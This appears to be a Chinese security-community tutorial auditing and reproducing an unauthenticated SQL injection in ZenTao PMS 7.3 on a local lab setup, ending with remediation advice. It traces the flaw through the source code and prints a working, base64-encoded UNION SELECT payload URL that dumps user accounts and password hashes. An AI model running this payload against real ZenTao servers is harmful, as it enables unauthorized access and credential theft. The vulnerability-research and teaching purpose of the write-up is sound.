上周的zentaopms漏洞复现你们觉得还OK吗?
斗哥想要的是一个肯定。
如果你们觉得意犹未尽,
本期将进入,
代码审计的小练习。
Zentaopms v7.3sql注入漏洞
(无需登录)。
来,表演开始!
环境搭建
STEP1:网上下载zentaopms7.3的源码;
下载地址:
链接:http://pan.baidu.com/s/1mi62jEw
密码:8lgz
STEP2:将网上下的源码解压到phpstudy目录下的WWW文件夹里;
STEP3:访问该WWW文件夹下的install.php文件,安装好网站。
漏洞复现
1.注册账号
安装完成后,进入主页,安装的时候已经配置了管理员的用户名和密码admin/admin,这里就直接登陆 。
图 2-1 登陆禅道
图 2-2进入管理界面
2.过程分析
(1) 问题出现在\lib\dao中的,dao.class.php文件的limit($limit)函数,它对传进的参数没有经过任何过滤就直接拼接成SQL语句进行查询。
图 2-3 dao.class.php
(2)使用反向审计的方式
这里function limit($limit)就是危险函数,所以是通过危险函数追溯调用函数的位置,把这个函数在控制器文件中搜索了一下,limit($出现在了 module\block\control.php,module\task\model.php 中, model.php中的limit()函数,发现是被getUserTasks函数调用了;
图 2-4 module\task\model.php
追踪getUserTasks这个函数被调用的地方,在module\block\control.php,printTaskBlock函数调用了getUserTasks这个函数,并使用params传入了type。
图 2-5module\block\control.php
再次反向追溯$params变量声明的地方,发现是在main()函数用于GET接收params的值再传入到$params变量中的,$params = $this->get->param; 并且需要满足条件$mode == 'getblockdata',$params还需要经过先base64解编码后再json解码,然后才能被使用,所以此时可以推出,param参数在GET请求中是需要先经过json编码后再base64编码,然后才传到服务端的。
图2-6module\block\control.php
查看$mode声明的位置,然后发现$mode是从GET请求中接收mode参数的值,$mode = strtolower($this->get->mode);
图 2-7 module\block\control.php
当mode为getblockdata时,我们传入的$params会被base64_decode和json_decode。我们可以通过构造blockid,加载下面的函数。
假设,我们想调用 printTaskBlock() 函数,该函数又调用了getUserTasks,定位一下printTaskBlock函数, 传递进去的参数就应该是 mode=getblockdata,blockid=task,以及编码后的 param(包含参数account,type,num,orderBy)。
图 2-8module\block\control.php
再回来看一下'\module\task\model.php'里的getUserTask函数。注意'getUserTasks'里的第二个参数$type 参数会带入到sql里。接下来我们需要构造param,以便传参数进来。
图 2-9 \module\task\model.php
因为禅道对url进行了重写,查看index.php,注释以下字段提示不能重写,所以重写的方法是router::createApp /* Instance the app. $app = router::createApp('pms', dirname(dirname(__FILE__)), 'router'); */ 根据createApp朔源到zentaopms\framework\router.class.php,定位到以下代码,是对路径进行重写的代码,并且在zentaopms\framework\router.class.php中可以得到重写规则是 目录-方法.html的格式 。
图 2-10\ framework\router.class.php
在下面的代码追溯$this->config->default->view;发现在config中是使用-进行分割,后缀为html。
图 2-11\ framework\router.class.php
图 2-12\config\config.php
在构造之前,我们先把基本的url写出来
http://127.0.0.1:5600/zentaopmsx/www/block-main.html?mode=getblockdata&blockid=task¶m=1
为了验证加密方法是否正确,把config/my.php里的trace设置为True。方便看调试语句。
编写验证加密的脚本。
使用curl或者burp抓取数据包,查看页面的响应。
可以看到服务器解析了我们在type写入的加密数据,与未加密的数据比较,验证了加密的方法是正确的,SQL语法规定, union必须再orderby之前,因为注入点之前不包含order by,所以可以使用union 联合查询。
根据刚刚说的,把需要的参数加入url中,构造payload,mode=getblockdata&blockid=task& param={"account":"admin","type":"id=-1 UNION SELEC
T 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,
5,6,7,8 FROM zt_user#"}前几个参数mode,blockid,都是固定的,主要变化的是参数的构造使用curl或者burp抓取数据包,查看页面的响应。
根据control.php的解密方式,对paylaod:param={"account":"admin","type":"id=-1 UNION SELECT 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 FROM zt_user#"}加密,先json加密,再base64加密。
所以最后的payload为:
http://127.0.0.1:5600/zentaopmsx/www/block-main.html?mode=getblockdata&blockid=task¶m=eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9
直接贴到地址栏,爆出了管理员的用户名和密码。
使用MySQL监视器跟踪的结果为:
SELECT t1.*, t2.id as projectID, t2.name as projectName, t3.id as storyID, t3.title as storyTitle, t3.status AS storyStatus, t3.version AS latestStoryVersion FROM `zt_task` AS t1 LEFT JOIN `zt_project` AS t2 ON t1.project = t2.id LEFT JOIN `zt_story` AS t3 ON t1.story = t3.id wHeRe t1.deleted = '0' AND t1.id=-1 UNION SELECT 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 FROM zt_user# = 'admin' oRdEr bY
Md5解密一下:
得到最终的结果为 admin/admin。
简而言之,用户对其可控注入参数type构造恶意代码值,limit函数在dao.class.php执行sql查询,得到结果,但是在limit在拼接时没有对输入的语句做过滤,导致注入漏洞。
漏洞修复
导致注入攻击的两个条件:
(1)用户能够控制数据的输入—在上面的案例中,用户能够控制变量type
(2)原本要执行的代码,拼接了用户的输入—limit函数
select('t1.*,t2.id,t2.name,t3.id,t3.title,t3.status,t3.version') from t1
leftjoin t2 on('t1.project = t2.id') leftjoin t3 on('t1.story = t3.id') where('t1.deleted')->eq(0)
beginIF($type != 'all')->and Where("t1.$type")->eq($account)->fi() orderBy($orderBy)
beginIF($limit > 0)->limit($limit)->fi() page($pager) fetchAll();
根据上面两个条件,防御sql注入的方式是:
1.使用预编译语句,绑定变量
例如:
$query = “select * from table_name where x andWhere type=?”
$stmt = $mysqli->prepare($query)
$stmt = $blind_param(“sss”,$var)
使用预编译的sql语句,sql语句的语义不会发生变化,变量用?表示,攻击者无法改变SQL结构。
2.检查数据类型,限制输入的数据的类型未某一指定的类型,如整型等。
3.在此案例中,使用的是mysql,可以过滤 union,select,from等数据库关键字。
小总结
本期的zentaopms注入漏洞就为各位介绍到这里啦~!后续我们将推出更多的漏洞复现,别忘了持续关注漏斗社区哦~!